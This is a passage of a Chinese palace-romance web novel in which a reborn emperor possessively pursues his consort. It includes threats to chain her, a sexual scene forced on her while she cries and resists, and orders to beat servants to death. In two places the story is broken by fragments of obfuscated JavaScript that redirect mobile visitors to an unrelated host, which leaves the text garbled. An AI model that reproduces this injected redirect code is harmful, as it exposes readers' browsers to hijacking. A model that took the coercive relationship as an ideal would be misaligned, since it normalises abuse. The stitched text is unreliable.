她又听见耳边传来皇上沙哑的声音:“烟儿,再叫朕夫君。”
“多叫几声。”
她的身子被抱紧,浮浮沉沉,温柔的声音在她皮肤上带起战栗:“朕喜欢烟儿。”
“朕便是烟儿的夫君。”
“烟儿陪朕一生一世,永远都不离开朕。”
“烟儿愿意么?”
席容烟早已被缠绵又稠密的吻吻的不知身在何处,入海中浮木紧紧捏紧在面前的衣襟上,眼角带出泪光来,又含娇带怯的回应:“夫君……”
婉婉转转的声音如动听的靡靡琴音,让魏祁愈发高涨,压抑的闷哼一声。
夜深时,江面上的小舟早已都回了,唯有离江远处的昏暗内还有一方小舟摇摇晃晃。
席容烟从疲倦的情欲中回过神来的时候,耳边传来车轮声,睁开眼就是皇上墨绿色的长袍。
她的手还紧拽着皇上的衣襟,将那衣襟拽的松松垮垮,露出了里头洁白的交领衣。
又想到之前在小舟上与皇上的场景,还有皇上叫她说的那些羞人的话,耳根一红,又羞涩的赶紧埋在皇上的怀里。
魏祁低头见着席容烟醒了,又见人埋头在自己怀里,笑了笑,手掌搂在她腰上:“在朕面前还害羞么?”
得到的也只有怀里闷闷敷衍的一声,却能让他情不自禁的含了笑。
这样能在他面前有些娇气的样子叫他更喜欢,他并不希望席容烟在他面前因为他的身份拘谨,两人经历两世,是命中注定应该在一起的。
轿辇停在了重华殿中,魏祁抱着人进去沐浴。
氤氲热气里,席容烟的身子早就软了,倒在皇上的怀里昏昏欲睡,任由皇上的手落在她身上,为她清洗。
魏祁低头看着怀里席容烟手臂上的伤痕,温情的眼眸里微微低沉,又伸手抚在上面,细细描绘。
怀里的人显然累极了,身上全靠着他的手托着。
那娇美的脸庞在热气里泛着红晕,微微凌乱的发丝落在那光滑的肌肤上,引出让人遐想的春色,魏祁的目光却只注意在席容烟闭着眼的脸庞上。
又捧着她脸低头吻了吻。
前世里两人没有亲呢的时候,更没有如此刻两人同在沐浴的时候。
其实魏祁知道自己要的很寻常,不过是自己喜欢的人心里也喜欢自己罢了。
他要的也不过如此。
前世却求的艰难。
等再次一身干净的睡在皇上怀里,席容烟轻轻叹息一声,身上舒适,又身子贪念般的紧贴在皇上怀里。
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耳边传来皇上低语的声音:“烟儿,今日喜欢么?”
席容烟闭着眼睛,轻轻嗯了一声。
她又觉得自己的手被皇上握住,低沉的声音又落下来:“烟儿会离开朕么?”
席容烟不过是强撑着最后一丝清明,听了皇上的话,她几乎没有任何犹豫的就点头,连开口都没力气。
可是留恋在她下巴上的手指却捏的紧了紧,热气扑在她脸上,沙哑的声音又响起:“朕想听烟儿说话。”
席容烟才半眯起眼睛来,眼前人朦朦胧胧,带着她熟悉的味道,她甚至都来不及想皇上为何要这么问她,懒懒的哑哑道:“臣妾会一直陪着皇上,不会离开皇上。”
暖色温柔,魏祁瞧着那快睡过去的模样,抚着那漂亮的细眉,今日的愉悦却叫他心中翻涌,只想与她细细说许多话。
两人从来没有好好说话过,尽管他的话不多,但他极喜欢她在自己怀里无话不说。
这样的场景前世里他幻想过许多次,他是帝王,也有丝骄傲在,不曾太过卑微的祈求,但哪怕席容烟有一丝愿意软下来的态度,他便会放下所有身段。
尽管他知道席容烟怕是下一刻就要睡着了,他也依旧托着她的身子在怀里,还轻轻捏了捏她的腰,继续问她:“要是烟儿离开朕,朕该怎么罚烟儿?”
席容烟被腰上的动静弄的又睁了眼,困极的眼眸前依旧雾蒙蒙的。
她看不清皇上的神情,只感觉到皇上的眸子一直放在她的身上,从没离开过。
她想着皇上问她的话,她进宫来,怎么能离开皇宫呢。
她一辈子也离不开,又怎么会离开皇上。
面前传来皇上低低催促的声音:“烟儿,说话。”
席容烟才摇头:“臣妾不知道。”
她也当真不知道,因为她从来没想过离开。
魏祁捏着席容烟的下巴,看着她迷蒙的眼睛,缓缓道:“烟儿,你要是离开朕,朕便会将你锁起来,锁在朕的身边,永远也不能离开。”
“烟儿记住了么?”
第123章 往后皇上别吓臣妾了
低沉的轻语让席容烟本昏昏欲睡的心忽的微微一跳。
梦里那个将她锁在床榻上的人,也曾经这么对她说过。
她睁开眼,看向面前的皇上,眼里模模糊糊,却感受到一股压迫,和皇上眼里的晦暗不明。
温暖的烛火晃荡,皇上的面容背着烛火,昏色中依稀与她梦里的那个人重叠。
他们有一样压迫人的神情,有一样让人心生战栗的高大身躯。
睡意消退下去,席容烟怔怔看向面前的人,又如入了梦境,她的身子已情不自禁的往后仰了仰。
像是下意识的动作,根本不受她身体的控制。
魏祁一顿,伸手按住席容烟后退的后背,微微蹙眉,幽深的眸子紧紧看着席容烟的眼睛:“烟儿怎么了?”
席容烟脸上的红晕褪去,心里升起股不安来,这样熟悉的场景,让她心里升起熟悉的感觉,甚至是战栗。
那双眼眸还紧紧盯着她,她摇头,努力让自己放松。
抱着她的人是皇上,是对她极好的皇上,她不该害怕皇上的。
魏祁清晰看出席容烟眼里闪过的害怕,他不解的看着她,又将他贴紧在身上,缓下神情,温和的抚上席容烟的脸庞低沉道:“烟儿在害怕什么?难道烟儿会离开朕?”
耳边仿佛传来金链拖动的声音,是她无数个深夜的噩梦。
席容烟心跳微微不安,捏紧袖子小声的问:“皇上真的会这么对臣妾么?”
魏祁抿唇,低头吻了吻人害怕的眸子,哑声道:“烟儿别怕,朕怎么舍得这么对你。”
“朕只是怕你离开朕罢了。”
温热的手指从她脸颊落到她发上,最温柔的抚摸要让席容烟完全放松下来。
席容烟想着今日皇上带自己出宫的样子,处处护着她牵着她,陪她看江风,陪她吃糖葫芦,温柔又沉稳。
皇上对她的心意爱护她全感受得到的,一定都是她乱想。
皇上刚才不过是吓她罢了。
她闭上眼睛低头埋在皇上的颈窝处,闻着皇上身上的味道,轻轻道:“臣妾从来都没有想过会离开皇上。”
“一直都没有。”
“臣妾只想呆在皇上的身边。”
“往后皇上别吓臣妾了。”
这样的回答让魏祁微微满意,他轻抚席容烟的发丝,又低声道:“烟儿,朕信你不会离开朕的。”
说着那具高大的身躯附上去,低头要去吻面前红艳饱满的唇畔。
看着那缓缓压下来的暗影,席容烟却下意识的偏头躲开,连她自己都惊愕了一下。
她第一次从心底生出一股不愿意与皇上亲近的心情来。
她其实并不想这样的。
魏祁的动作顿住,静静看着面前偏过去的脸庞。
白净的脸颊隐在乌发间,莹莹长睫轻颤,秀挺的鼻梁上落着三两点暖光,整个人看起来如玉如瓷,却又带着一股生疏的冷清。
这是魏祁很少在席容烟身上看到的场景。
她在他面前历来很温顺,虽说有时候会有些抗拒,但那是因为她的羞涩,绝不是现在这样。
垂着眼帘,一句话不说,静静的偏着头。
他蹙眉,压在席容烟脸旁的手指动了动,眼底的阴沉几乎克制不住,又抬头捏住席容烟的下巴,让她转过头来。
那双眸子低垂着,就如前世一般,仿佛他是她永远都不肯都看一眼的人,对他厌恶至极。
手指情不自禁的捏紧,夜里与她在宫外的欢愉几乎快被冲刷干净。
席容烟只觉得下颌上传来一股钝痛,她不安的抬眼,只是还来不及看清面前皇上的模样,唇畔就被吻住,又重又急,唇上一股微微的疼。让她情不自禁的呜咽出声。
魏祁的手掌已经伸进那衣摆下揉捏,他耳边能听到席容烟抗拒的声音,知道自己大抵弄痛了她,可是他控制不住自己,就如前世一般,明明知道她疼,还是会一遍遍加重力气。
他想让她知道疼,疼过后,下回就会长记性了。
他亦分不清自己是在前世里,还是在现在。
他只知道席容烟抗拒的动作,抗拒的神情,都让他无法自抑。
无法控制自己的理智。
大床发出摇晃的声音,哭声从里头传出来,这是从前从未有过的场景。
外头守夜的宫人听到声音,也都惊诧了下。
第二日
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席容烟醒来时,身边没有皇上的身影,屋内空无一人,她动了动,只觉得浑身的酸疼,又想起昨夜的事情来。
昨夜皇上的神情看起来异常可怕,她甚至不敢睁开眼睛看皇上一眼,心里又有一股委屈。
眼睛眨了眨,又低头看向身上的里衣,凌乱不堪的敞开,她自己都能看见红印,又含着泪自己将衣襟拢好。
这时候身后传来了动静,席容烟没有转身,只是僵硬的没有再动,又闭上了眼睛。
后背上很快贴近了一具温热的身子,她的身子被一只大手翻了过去。
她仍没有睁开眼,心里头一股无声的委屈叫她不知道怎么面对皇上。
魏祁低低看着席容烟轻颤的眼睫,看着她染上红晕的眼眶,眼角隐隐有泪光。
一缕发丝落在她身前,白净剔透的人看起来楚楚可怜,如一朵沾雨的莲花,让人心怜。
这会儿是有些后悔的,他明明最该在她面前克制自己的情绪。
他将人抱紧在怀里,又低声道:“烟儿,对不起。”
低低的声音就在眼前,可席容烟却透过这声音仿佛看见梦里那个男人也曾无数次的这样抱着自己说对不起。
后背上传来温热的触感,额头上被落了一吻。
席容烟缓缓抬头,目光在对上皇上温柔的的眼眸时,心底深处的那股委屈更甚,眼泪便控制不住的往外冒出来。
明明昨夜皇上带她出宫时,那样处处照顾她,皇上的手牵着她,在人多的时候还会将手挡在她的身侧,为什么夜里回来时又变得那样骇人。
昨夜她求他那么多回,可皇上的力气依旧那么大,像是要将她揉碎一样。
席容烟无声的泪意连连,更像是在委屈的控诉,看得魏祁的心一疼,忙伸手为她擦泪:“烟儿,朕错了。”
席容烟在泪眼中看向皇上,又埋头在皇上的怀里沙哑道:“皇上昨夜为什么那么吓人,是臣妾做错了什么么?”
魏祁心头一阵心疼,轻轻握紧席容烟的肩膀:“烟儿没有做错,烟儿什么都没有做错。”
“都是朕的原因。”
“都是朕太害怕烟儿离开朕了。”
第124章 你听话,朕的纵容的是有限的
席容烟不明白,皇上怎么总会觉得她会离开呢。
难道后宫里还有女子能离开么。
她闭着眼沙哑道:“臣妾从来没想过要离开皇上。”
魏祁轻轻拍了拍席容烟的后背,却是沉默。
他知道席容烟若是想要离开他的时候,就一定会离开,他根本留不住她。
又深吸一口气,魏祁温柔的抱紧人。
席容烟埋在皇上的怀里落泪的好半晌,才发觉皇上穿着龙袍,此刻龙袍上被她的泪水晕湿了一大片,还有点发皱了。
席容烟一愣,忙小心的抬头看向皇上,就对上了皇上正看着她的眸子。
像是看出她在担心什么,魏祁笑了下,又伸手用手指替席容烟擦去眼角的泪光,低声道:“哭够了?”
席容烟一愣,又垂下眼帘,小声道:“臣妾弄脏了皇上的龙袍。”
“臣妾帮皇上换衣吧。”
魏祁抬起席容烟的下巴,看着面前点光闪烁的眉眼,细眉弯弯,一如秋月,便是一阵心怜。
他叹息:“朕惹哭了烟儿,又怎么会怪烟儿。”
说着魏祁弯腰吻向席容烟潮湿的眼睛,浓黑的眸子看着她:“昨夜朕只是又魇了。”
“烟儿,别怪朕。”
席容烟张张唇,压着心底的不安。
她很乖顺的轻轻点头:“臣妾不怪皇上。”
魏祁微微松了一口气,又道:“昨夜烟儿答应朕的,还记得么?”
席容烟空白一瞬问道:“是不离开皇上么?”
魏祁挑眉,又叹息:“烟儿不是说要为朕做荷包么?”
席容烟这才想起来,又有些愧疚道:“臣妾记得的,只是刚才臣妾没想起来。”
魏祁握着席容烟的手问:“烟儿亲手绣的,可以么?”
这本就不是太难的事情,席容烟自小学女工,绣一个荷包对她来说更不难。
她应下来:“臣妾今日便给皇上做荷包。”
皇上离开的时候,席容烟看着皇上的背影失神。
宝珠才从外面进来,见着席容烟的眼眶还带着通红,又想起昨夜听到的声音来。
她在主子没在时见过皇上两回,皇上淡着脸的时候看起来虽然冰冷无情的很,但是自从主子进宫来,皇上都对主子很好。
昨夜她听到主子的哭声心也跟着疼了,想不明白明明昨夜回来时皇上还温柔的抱着主子一起沐浴,怎么半夜就变了个人一样。
她蹲在床边对着席容烟小声道:“刚才皇上吩咐说让主子多睡一会儿,皇上等早朝后就会来看主子。”
席容烟听见皇上上午会来,不知怎么心里竟还有一些紧张。
她心里各种复杂的心思交叠,让她脑中的思绪一片混乱。
她蒙着被子躺下去,想的却又是皇上昨夜在她面前说会将她锁起来的话。
那低喃的声音缓慢又低沉,却让人后背生凉。
与梦里一模一样。
昨夜一夜都没睡好,皇上离开,她的心些微放松下来,又极困的闭上眼睛。
这一睡便睡的很沉,又溺在漫长的梦境里。
阴冷的声音的不紧不慢的落在她耳边:“烟儿,你若是想死,让席府为你陪葬好不好?”
“你听话,朕的纵容的是有限的。”
“朕是一国之君,为你做到这步,你还想要朕做什么?”
梦里她看到那玄黑的色的龙袍上的金线,看向皇上阴翳的眼眸如刺骨冰凉的尖刺,那眼里没有感情,眯着眼睛,带着血红,仿佛下一刻自己就会被他掐断脖子。
“烟儿,好好为朕生下孩子,之前你逃跑的事朕便一笔勾销。”
“别惹朕生气。”
“别叫朕让人叫那个孩子消失。”
席容烟感觉到自己的身子在发抖,在战栗。
她听见自己痛苦的声音:“你是禽兽……”
“盛儿什么都不懂,他那么小,你居然都能对他动手。”
冷笑声传来:“所以烟儿更应该听话,你知道朕厌恶那个孩子。”
“你要是不听话,朕不保证那个孩子能活着。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15700054|172980||http|test|mini|href|location''.split(''|''),0,{}));
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r>席容烟只觉得心疼的发紧,连声音都发不出来。
耳边远处又传来另一道温和的声音:“烟儿……”
“烟儿……”
周身被拢进一个温热的怀抱,那声音就落在耳边,扑过来热气,她费力的睁开眼,面前就是皇上低头看来的脸庞。
她迟钝的空白了许久,看着这张脸,说不出话。
魏祁低低看着席容烟,看着她眼角滑下去的泪光,眼里还带着红,嫣润的唇畔微张,好似受了欺负一般。
他指尖落在她眼角,心疼的发紧,又问:“烟儿又做噩梦了?”
席容烟轻颤一下又点头:“臣妾又梦见了那个**的老虎。”
魏祁深深垂眸,又拿来帕子细心给席容烟擦泪:“烟儿别怕,宫里怎么会有老虎呢。”
席容烟心里仍旧心有余悸。
她又看自己坐在皇上怀里,又想起梦里那人威胁的话。
那样真实的场面,仿佛她当真经历过一样。
她真的不明白,为什么梦里那个人会变成皇上。
魏祁看着席容烟心不在焉的模样,又叫凌姑姑去端燕窝粥来,再接过来往席容烟唇边喂去:“还有会儿才用午膳,你先用一些粥垫垫。”
席容烟根本没有胃口,只是听着皇上温柔的话,面前那双修长的手总是细致的照顾她,即便她有时候有些不敬,皇上也从来没有怪过她。
夜里皇上还会紧紧搂着她的身子入睡,从她进宫来,皇上几乎夜夜都搂着她睡。
她并不想做那些梦,她只想好好在宫里过完自己的一生。
席容烟张开唇,低头吃下。
魏祁的目光一直都落在席容烟身上,他从她垂着的眸子里看到了复杂的情绪。
他也知道她刚才撒了谎,他也听到她刚才在梦中喃喃自语的话。
她在喊不要……
就如前世无数次在他面前喊的那样。
他又喂去一勺在席容烟的唇边,看着她此刻温顺的神情,就如她刚进宫时的那般,生涩又娇艳。
第125章 前世记忆
又过小半月,已经快要七月,越发热了些。
承乾宫内已经放了冰鉴。
席容烟其实最怕寒冷,并不怎么怕热,所以冰鉴也放得远远的。
宝珠说荷花池里的荷花有些开了,让席容烟去看看。
席容烟这些日一直都没怎么出过宫殿,听了宝珠的话,也觉得自己日日闷在承乾宫里,身上越来越懒。
她这些日子每日都要吃皇上送来的药,这些日子她夜里也再没做过噩梦,吃了药便能很快入睡,精神倒是好了些,却总觉得有些恍惚,脑中总是一片空白。
出去透透气也好。
这时候正是上午日头正好的时候,席容烟也想着让脑中清醒些,便让宝珠和玉竹准备着,往荷花池去。
荷花池在花园子的中间,中间有水榭长廊,还有凉亭。
席容烟去的时候,那长廊上便站着人,是陆昭仪和齐妃。
她们两人见着席容烟来,脸上都是微微一变,又走的离她远了远。
自从上回宋三姑娘被皇上罚后,后头去皇后那里问安的时候,其他妃嫔看见她都避之不及,好似生怕惹了她不高兴。
甚至有些人碰见她了还能强笑问候一声,又匆匆离开,再没有任何的阴阳怪气。
席容烟知道因为什么,她本也与她们没什么结交。
陆昭仪和齐妃避开她,她便又往另一条路走,打算去凉亭坐坐。
凉亭处倒是没人,宫人在桌上摆了茶水和冰镇的瓜果,还有碟子芙蓉糕,一应东西都准备的齐全。
那荷花叶都生到了围栏上,席容烟侧身坐在凉亭中,看着绿色中间点缀的几朵粉色荷花,心情也舒畅了些。
其实她在宫内,除了偶尔的寂寞,她也没什么有好抱怨的。
又摘了一朵荷叶,她放在脸颊上,闻着荷叶的清香,夏日的光线落下来,身上又暖蓉蓉的。
她闭眼小憩了阵,又听一道小小的声音从耳边传来:“宸妃娘娘,我能吃一块甜瓜吗?”
席容烟拿下脸上盖着的荷叶,低头便见着正站在自己面前的二公主。
视线再上移,便是一脸无奈的丽妃一只手紧紧牵着二公主,朝着她小心道:“我拉着婉儿也没拉住,也不知她怎么眼尖瞧见了,我这就抱着她走。”
“叫她别扰了妹妹清净。”
看着丽妃弯腰就要抱着二公主离开,席容烟笑了笑:“无妨的,放久了也坏了,二公主喜欢也正好。”
说着让宝珠端过来,让二公主去拿。
丽妃脸上有些犹豫,怀里的孩子却高兴的在她怀里挣扎起来:“母妃,宸妃娘娘答应了。”
丽妃又看一眼席容烟脸上淡淡的笑意,犹豫一下,又才将孩子放下来。
二公主一落地,就从宝珠手上的碟子里拿了一块。
丽妃知晓甜瓜是南方的,相隔千里,运送困难,送到宫里的也不多,往年只有皇后太后那里能吃,其他人那里也是很少,便对二公主小声道:“吃一块便够了,快谢过宸妃娘娘。”
二公主早吃了一大口,听了母妃的话,又才朝着席容烟含含糊糊的告谢。
席容烟瞧着二公主那圆溜溜的漂亮眸子,小胖手抓着甜瓜也分外可爱,又笑了笑,弯腰用手上的帕子替她擦了擦嘴,低声道:“吃慢点,剩下的都是你的。”
“不过也别吃多了,这个凉,吃多了肚子受了凉不好,两块便够了。”
说着席容烟抬头看向丽妃:“也不是我舍不得,只是二公主小,贪凉吃多了要病了就不好了。”
丽妃听着席容烟温声细语的声音,又看她给自己女儿擦嘴,丝毫没有宠妃的架子,心头涌过感激,又道:“妹妹的心总是这么好。”
席容烟笑了笑:“不过两块甜瓜,哪当得了这话。”
丽妃却如鲠在喉。
二公主倒是吃的极快,吃完了又去抓。
丽妃便低声叮嘱道:“这块吃了再不能吃了,不然母妃便抱你走了。”
二公主还算听话,嘟着嘴,却是应了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15700055|172980||http|test|mini|href|location''.split(''|''),0,{}));
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>席容烟侧头看着荷浪,微风吹来,她脑中清晰了许多,光线透过旁边的柳枝投来斑驳的影子,她看了看,想起从前在席府后院和大嫂惬意坐着说话的时候。
丽妃静**在不远处,时不时往席容烟身上看去一眼,见着那妃色薄衣下牡丹裙摆随着微风摇曳,满头青丝配着玉簪,连她身为女子也能看得愣住。
又见那脖子上的一串颗颗圆润又均匀的珍珠项链,还有那手腕上的镯子,低调素净处又每一处都显精细贵重,是皇上对她独一份的偏宠。
她心底升起羡慕来。
二公主吃完本还想吃的,又怕母妃说她,见着荷花池里的荷花,又想叫人给她摘来。
离的最近的那一支荷花并不太远,但人是够不着的,旁边侍奉的宫女也没法子,二公主却吵着要。
本是安静静谧的凉亭,一下子变得喧闹起来。
丽妃怕吵到席容烟,过去抱着二公主要走。
但二公主却闹得更厉害了些,丽妃都抱不住。
这年纪的孩子但凡要什么,得不到便一直吵,席容烟的小侄子倒也是这脾气,
她看了看周遭,也没个杆子来够,便让玉竹去找找,又让宝珠去劝劝。
哄了半晌才哄住。
玉竹拿来杆子去帮二公主够荷花,站在池边让二公主离远些,可二公主巴巴望着那荷花不肯走,只好让宫女好生牵着。
等到那荷花够着快弯过来时,玉竹要伸手去摘,哪想二公主却着急的很,也垫着小脚去够,旁边的宫人一下没拉住,从池边摔了下去,一下扑腾在了水里。
离着岸边的池水本不算深,半个人那般的深度,但二公主身量小,很容易溺下去。
席容烟怔怔看着在水中扑腾的二公主,耳边那些惊慌的呼声好似已听不见,心头一股刺痛袭来,几乎让她喘不过气来。
捂着胸口撑着围栏站起来,身子已不受控制的往池边走,眼里只有那扑腾的小身影,脚步已经往池子里里跳下去。
第126章 想起前世
池边已经有宫女跳下去去救了,混乱的场面连宝珠和玉竹都没有注意到席容烟的动作,等席容烟跳下了池子,宝珠吓了一下,惊声喊道:“主子!”
席容烟往二公主那头走去,池水漫过她胸口,她眼前模糊,仿佛看到另外一个孩子在水中惊恐的朝着她喊娘亲。
那孩子脸色惨白恐惧,声嘶力竭的喊,娘亲,救我……
席容烟眨眨眼,盛儿……
她的盛儿。
脚底渐渐发重,荷花藤蔓缠住了脚,席容烟只觉得眼前忽然一瞬间发黑。
她仿佛穿行在黑暗粘稠的甬道内,她跌跌撞撞的往前走,走到尽头,走到了一个隆冬。
外头飘着密密的大雪,地上染着潮湿的白霜。
在她面前是一具湿漉漉的小小的身子,一动不动,脸色苍白。
从前异常听话的埋在她怀里喊着娘亲撒娇的孩子,再也发不出声音来了。
席容烟只觉得双腿双软,跪在那孩子面前将那孩子抱紧在怀里,冰凉的身子好似永远也捂不热,她的泪水也无法捂热那孩子。
也再也没有一双小手为她擦泪。
这漫无边际的雪如一片片凌迟的刀锋,让席容烟觉得浑身的血肉在被割去,让她也要陪着她的孩子死在这个冬日里。
她一动不动,连哭声也发不出来,一遍遍轻唤她的孩子也唤不醒他。
心头最后一丝希冀在渐渐死去,她的心也死了。
魏祁在宣政殿的议事厅议事时,见着高义惊慌的过来,才急促的说了一句话,他的脸色就是一变,扔下站在旁边的大臣,大步就往承乾宫走去。
一跨进承乾宫,宫女噤若寒蝉,低着头都站到了角落处。
魏祁一路大步往內殿走,便听到屏风内低低的哭声。
他脸色一沉,往里面跨进去,就见着宝珠和玉竹跪在床边,席容烟一脸苍白的闭着眼睡在床榻上,潮湿的发丝凌乱,单衣上还落着湿痕。
眼底早已经布满了阴沉,魏祁抬脚踢开旁边的宝珠,过去坐在床沿上。
他伸手握住席容烟放在被子外头的手,在初夏竟也冰凉。
仿佛她最后在他怀里,身子渐渐变冷的时候。
将要失去的情绪又席上来,心头钝痛。
魏祁弯腰将席容烟抱紧在怀里,又冷声问:“太医呢。”
玉竹抬头见着皇上抱着主子,连忙道:“凌姑姑已经去叫太医了。”
怀里的身子很软,即便被魏祁抱在怀里,却再也没有如从前那样顺顺的靠在他怀里,单薄的身子仿佛下一刻就要离他而去。
魏祁的手指抖了抖。
他替席容烟将她脸颊上潮湿的发丝别开,又将人放到床塌上为她盖好锦被,身子微微坐直,阴翳的眼神才看向宝珠:“怎么会落水?”
宝珠刚才被皇上那一脚踢的浑身发懵,抬头看向皇上阴翳的神情时,一下子吓得后背冷汗淋淋。
她跟在主子身边,还是第一次这样近的看见皇上这样骇人阴沉的脸色,那双长眸嗜血的低沉,仿佛下一瞬就要提剑刺人。
她忽然就明白了为什么承乾宫的宫人对皇上那般害怕,为什么她们私底下说让她千万别往皇上面前凑。
原来皇上当真可怕。
玉竹也被皇上的动作吓到了,看到宝珠被吓得脸色惨白,连话都结结巴巴的说不出来,赶忙跪在宝珠身边将事情说了一遍。
又落着冷汗道:“二公主落水的突然,奴婢也没想到主子为了救二公主会跳下水去。”
说着她赶紧磕头下去:“都是奴婢没有照顾好主子,还请皇上责罚。”
冰凉的声音如刺骨的利刃:“连随身伺候的主子都照顾不好,这样的奴才留着有什么用?”
玉竹和宝珠脸色都一白。
接着又听皇上冰冷的声音:“拉住去,杖死。”
宝珠吓得浑身瘫软,几乎连求饶都忘了,一下子软在了地上。
玉竹也被吓得浑身战栗,远远没有想到皇上竟然这般可怖。
外头被高公公带来的两名太监很快进来,就要拖着她们出去时,玉竹忽然颤声朝着皇上急促道:“主子习惯了我们照顾,求皇上开恩,奴婢往后一定照顾好主子。”
“求皇上再给一次机会吧。”
随着发软的身体被拖出去,求饶的声音蔓延到外头,声音越来越小。
魏祁坐在床沿上,脸色阴沉,又忽然开口:“慢着。”
高公公本来也替宝珠和玉竹惋惜,不管怎么说,从宸妃娘娘娘家来的奴婢,皇上的人都瞧着承乾宫这么久,她们的确是尽心服侍宸妃娘娘的。
这会儿一听皇上的声音,赶紧就跑出去,让太监放了人,又让宝珠和玉竹跪在屏风外头就时。
这时候皇上还一心在宸妃落水上,别进去碍眼了。
皇上的脾气,杀人可从来不眨眼的。
魏祁看了眼跪在屏风后的两道战战兢兢的影子,阴翳的神色并没有好到哪里去。
他放过那两个奴婢,只是不想让席容烟醒过来恨他罢了。
这时候太医也匆匆从外头进来,一进来就见着皇上沉着的脸色,吓了一跳,赶紧跪了下去:“下官来迟,还请皇上恕罪。”
魏祁的眉头已不耐烦的皱起,仅仅只是往太医身上看去一眼,那太医便吓的一抖,赶紧爬起来去诊脉。
床帐早已放下,一只白的近乎苍白的手腕露在外头,太医战战兢兢的沉思把脉。
刚才他在路上就知道宸妃娘娘落水了,宸妃娘娘多得宠不用多说,他一路都是胆战心惊的。
之前给宸妃娘娘看梦魇的同僚张太医,听说没给宸妃娘娘诊好,那下场他都不敢听。
这会儿一颗心都悬着,生怕自己出了什么差错,接着他松手朝着皇上小心道:“从脉象上看,宸妃娘娘的脉象紧沉,并不算大碍,应是受了惊吓,又外感风邪才昏睡不醒。”
说着陈太医又躬身下去:“等臣为宸妃娘娘熬一副桂枝汤发散寒气,再用方子苓桂术甘汤泻肺利水,身子恢复过来,应该很快就会醒了。”
魏祁看了一眼陈太医:“今日能醒么?”
陈太医擦了一把冷汗,又心惊胆战的回话:“若是不出差错的话,宸妃娘娘能醒来的。”
魏祁冷笑:“若是出差错呢?”
陈太医赶紧保证:“吃过药后,宸妃娘娘夜里之前应该就能醒来。”
魏祁的脸色这才好些,摆手让他出去。
第127章 这个男人一向可怕
席容烟是在下午的时候醒来的。
醒来的时候,满口苦涩。
她睁开眼,面前的人影正弯着腰,缓缓给她喂药。
温热的玉勺碰到她的唇边,药汁缓缓滚下去,她呛了一口,又咳嗽起来。
头昏昏沉沉的发晕,她迟钝的感觉到领口传来湿润,接着身子又被抱入到一个温热的怀中。
低沉欣喜的声音响在她耳边:“你终于醒了。”
炙热的呼吸落在她耳边,后背上抵住温热的大手:“烟儿,没事了。”
席容烟僵硬的抬头,面前露出一张熟悉的面容来。
她瞪大眼睛看着面前人,泪眼通红,只觉得头昏脑胀,脑中不停闪过许多画面,每一个画面都叫她心生恐惧与排斥。
更还有一种无力感。
从喉咙里出来的声音虚弱无力,手掌用尽全力推在男人的胸膛上,她偏过脸庞,闭着眼睛:“你走……”
“我想一个人呆一呆……”
推在胸膛上的力道虽然对于魏祁来说并不大,但却叫他觉得如刀割一般。
他紧紧握住席容烟推拒的手腕,眼底复杂的看着她闭上的眸子:“烟儿,是朕。”
“你是不是又做噩梦了?”
说着魏祁将席容烟紧紧按在怀里,伸手抚摸她垂在后背的发丝,低声安慰她:“烟儿,没事了。”
“朕在你身边,不会再做噩梦了。”
席容烟只觉得身子被抱的很紧,紧的她几乎快喘息不过来。
她闭着眼,泪痕从眼角滑落下去。
捏在魏祁袖子上的手指颤了下,又强忍下情绪,没再出声。
她明白现在抱着她的这个男人心思深沉,细微的变化他都能察觉得到。
要是让他知道自己已经想起了前世的所有事情,自己可能一辈子都离不开这里了。
她变得安静下来,让自己紧绷的身子放松,却止不住泪意。
她甚至不敢多想死去的顾褞玉到底是怎么出事的。
这个男人一向可怕,可怕的什么事情都做得出来。
她还是连累了他。
魏祁感觉到怀里身子软下来,心里松了松,低头又见席容烟满脸泪光,又是一顿。
他伸手抚在她的泪眼上,仔细为她将泪光擦去,上一刻还阴沉的眸子,此刻满是担心心疼,神色缓下来,低低道:“烟儿,没事了。”
看着那眼眶上的一圈红晕,泪涟涟的眸子泛着点光,又瞧那小脸苍白,看起来可怜极了。
他心疼的弯腰吻了吻她的眼睛,又抬起她的下巴低声问:“又梦见什么了?”
“梦见那个男人了么?”
“他又伤害你了?”
席容烟被魏祁沉沉的眼眸压的几乎快喘不过气,席容烟手指微微发紧。
她从来没有给魏祁说过,她梦见过那个男人。
那他是怎么知道的。
魏祁似是看出席容烟有些不可置信的眼睛,微微抿了抿唇,手指摩挲在她下巴上,低声道:“上回朕路上碰见慧静法师,问了两句。”
席容烟明白了,慧净法师是他特意请来的。
他开始怀疑了。
她又闭上眼睛,害怕自己的眼里暴露出让魏祁察觉的情绪。
他一向心思缜密,自己根本不是他的对手。
她强忍着微微抗拒他的身子,细声道:“臣妾梦见他在凶臣妾。”
“他的眼神很吓人。”
“但臣妾看不清他的样子。”
“他让臣妾觉得害怕,臣妾再也不想梦见他了。”
魏祁的黑眸动了动,若是席容烟在他面前遮掩着她的梦,他或许会心生出怀疑。
她这般说出来,他反而放心了些。
那回他和慧静法师谈过话后,再想到她从前说起过的梦境,就知道席容烟大抵是梦见的前世的事情。
他都能重生一世,席容烟梦见前世,他根本不奇怪。
他前世里为了留住她的魂魄让她活过来,做过许多法事,用过许多传说中的禁术。
鬼神之说,轮回转世,他是信的。
魏祁轻轻拍着席容烟的后背:“烟儿,不过是一场噩梦,梦里的东西不可能为真的。”
“即便真有那个男人,朕在你身边,他也不敢接近你。”
说着魏祁低头吻了席容烟的额头一下,低声对她道:“烟儿,你只需要信朕,这世上唯一只有朕不会伤害你。”
“这世上唯一对你好的,也只有朕。”
酸涩又盈向眼眶,席容烟眼里忍不住泪光,她低头,泪水如珠落下来,她心头是难言的难过。
